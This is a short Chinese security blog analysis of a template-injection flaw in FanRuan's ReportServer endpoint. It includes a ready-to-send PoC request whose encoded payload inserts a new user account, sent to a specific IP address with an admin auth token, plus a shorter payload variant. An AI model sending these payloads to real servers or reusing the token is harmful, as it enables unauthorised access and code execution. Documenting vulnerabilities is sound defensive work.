漏洞分析
忙忙忙抽空偶尔发一个 有问题后台公众号找。不接灰色的合作。
漏洞说明
帆软/webroot/decision/view/ReportServer接口存在SSTI模板注入漏洞,攻击者通过构造特殊 uri 请求参数注入到模板中,最终调用node可执行任意代码控制服务器。
漏洞分析
帆软命令执行分析
poc如下
GET /webroot/decision/view/ReportServer?n=${__fr_locale__=sql('FRDemo',DECODE('%ef%bb%bf%49%4e%53%45%52%54%0c%69%6e%74%6f%20%75%73%65%72%69%6e%66%6f%28%75%73%65%72%6e%61%6d%65%2c%75%73%65%72%70%61%73%73%2c%66%75%6c%6c%6e%61%6d%65%29%20%56%41%4c%55%45%53%28%27%74%65%73%74%31%31%31%27%2c%27%31%32%33%34%35%36%27%2c%27%31%32%27%29%3b'),1,1)} HTTP/1.1
Host: 124.220.149.93:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: fineMarkId=ac7dcf0bc30fb8e33309eaa135284bb3; tenantId=default; fine_remember_login=-1; fine_auth_token=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTcyMTgwNDY2OCwiaWF0IjoxNzIxODAxMDY4LCJqdGkiOiJuVHdzZ0hleTNVbld1MUt0RE5ZSXZoUU9zaWIvbXBxdG9HTGJ5aklhSCt2OGh3ZVUifQ.fPvlpXqYnLhstLeOjWptgigOIF9I0gkSLjEmmj53njE
Upgrade-Insecure-Requests: 1
Priority: u=0, i
根据前面的路由分析定位到触发点
很显眼的TemplateUtils.render,参数是request中取的?分割即可(key=value的格式)
这里能看到帆软内部定义了一个script(Calculator)去做处理
后续会去调用node里面的eval方法,这里有4个node。
其他几个都是获取时间啥的 这里主要还是sql去做利用
传入的参数需要利用需要匹配到这个正则,所以poc需要${}去包裹无其他限制,如下也可以成功
n=${sql('FRDemo',DECODE('%ef%bb%bf%49%4e%53%45%52%54%0c%69%6e%74%6f%20%75%73%65%72%69%6e%66%6f%28%75%73%65%72%6e%61%6d%65%2c%75%73%65%72%70%61%73%73%2c%66%75%6c%6c%6e%61%6d%65%29%20%56%41%4c%55%45%53%28%27%74%65%73%74%31%31%31%27%2c%27%31%32%33%34%35%36%27%2c%27%31%32%27%29%3b'),1,1)}
原文始发于微信公众号(e0m安全屋):帆软简要的分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论